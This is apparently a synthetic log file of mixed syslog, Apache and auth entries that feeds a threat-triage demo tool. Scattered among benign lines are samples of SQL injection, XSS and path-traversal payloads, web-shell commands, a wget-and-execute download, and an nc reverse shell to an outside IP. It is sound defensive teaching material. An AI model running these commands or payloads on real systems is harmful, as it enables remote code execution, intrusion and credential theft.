# Sample SIEM / syslog log entries for the Day-4 MCP log-triage demo.
# Feed these to the triage_logs MCP tool to see threat classification.
# Format: mixed syslog / Apache / auth.log / kernel styles (common in enterprise SIEMs).

2024-07-23T02:14:55Z sshd[23801]: Failed password for invalid user admin from 203.0.113.42 port 44012 ssh2
2024-07-23T02:14:56Z sshd[23802]: Failed password for invalid user admin from 203.0.113.42 port 44013 ssh2
2024-07-23T02:14:57Z sshd[23803]: Failed password for invalid user root from 203.0.113.42 port 44014 ssh2
2024-07-23T02:14:58Z sshd[23804]: Failed password for invalid user ubuntu from 203.0.113.42 port 44015 ssh2
2024-07-23T02:14:59Z sshd[23805]: Failed password for invalid user oracle from 203.0.113.42 port 44016 ssh2
2024-07-23T02:15:00Z sshd[23806]: Failed password for root from 203.0.113.42 port 44017 ssh2
2024-07-23T02:15:01Z sshd[23807]: Failed password for root from 203.0.113.42 port 44018 ssh2
2024-07-23T02:15:02Z sshd[23808]: Accepted password for deploy from 10.0.1.5 port 22 ssh2
2024-07-23T09:22:01Z apache2[8112]: 198.51.100.7 - - [23/Jul/2024:09:22:01 +0000] "GET /index.php?id=1 UNION SELECT username,password,3,4 FROM users-- HTTP/1.1" 200 4218 "-" "sqlmap/1.7.11#stable"
2024-07-23T09:22:04Z apache2[8112]: 198.51.100.7 - - [23/Jul/2024:09:22:04 +0000] "GET /index.php?id=1 OR 1=1-- HTTP/1.1" 200 4218 "-" "sqlmap/1.7.11#stable"
2024-07-23T09:22:09Z apache2[8113]: 198.51.100.7 - - [23/Jul/2024:09:22:09 +0000] "POST /upload.php HTTP/1.1" 200 312 "-" "Mozilla/5.0"
2024-07-23T09:22:11Z apache2[8113]: 198.51.100.7 - - [23/Jul/2024:09:22:11 +0000] "GET /uploads/shell.php?cmd=id HTTP/1.1" 200 28 "-" "-"
2024-07-23T09:22:13Z apache2[8113]: 198.51.100.7 - - [23/Jul/2024:09:22:13 +0000] "GET /uploads/shell.php?cmd=whoami HTTP/1.1" 200 14 "-" "-"
2024-07-23T09:22:33Z syslog: cmd.exe /c powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAG8AcABDAGwAaQBlAG4AdAAo
2024-07-23T09:23:01Z syslog: Executed: wget http://198.51.100.99/malware.sh -O /tmp/x && chmod +x /tmp/x && /tmp/x
2024-07-23T09:23:45Z kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=198.51.100.42 DST=10.0.0.1 LEN=60 TOS=0x00 PREC=0x00 TTL=49 ID=29483 PROTO=TCP SPT=54123 DPT=22 WINDOW=64240 RES=0x00 SYN URGP=0
2024-07-23T09:24:00Z kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=203.0.113.5 DST=10.0.0.1 LEN=44 PROTO=TCP DPT=3389 SYN
2024-07-23T09:25:11Z sshd[23900]: Accepted publickey for ec2-user from 192.168.10.50 port 51234 ssh2
2024-07-23T09:26:44Z sudo: alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/bin/bash
2024-07-23T09:26:47Z sudo: alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=NOPASSWD
2024-07-23T09:30:00Z apache2[8200]: 10.0.5.20 - - [23/Jul/2024:09:30:00 +0000] "GET /admin/index.php?page=../../../etc/passwd HTTP/1.1" 200 1832 "-" "curl/7.81.0"
2024-07-23T09:30:01Z apache2[8200]: 10.0.5.20 - - [23/Jul/2024:09:30:01 +0000] "GET /admin/index.php?page=..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1" 200 512 "-" "curl/7.81.0"
2024-07-23T09:31:22Z apache2[8201]: 192.168.1.88 - - [23/Jul/2024:09:31:22 +0000] "POST /search HTTP/1.1" 200 128 "-" "Mozilla/5.0" "q=<script>alert('xss')</script>"
2024-07-23T09:31:25Z apache2[8201]: 192.168.1.88 - - [23/Jul/2024:09:31:25 +0000] "GET /profile?name=<img src=x onerror=alert(1)> HTTP/1.1" 200 256
2024-07-23T09:32:00Z syslog: Suspicious: /bin/sh -c "nc -e /bin/sh 198.51.100.99 4444"
2024-07-23T09:45:00Z apache2[8300]: 10.0.1.5 - - [23/Jul/2024:09:45:00 +0000] "GET /api/health HTTP/1.1" 200 12 "-" "healthcheck/1.0"
2024-07-23T10:00:00Z sshd[24001]: Accepted publickey for deploy from 10.0.0.100 port 55123 ssh2
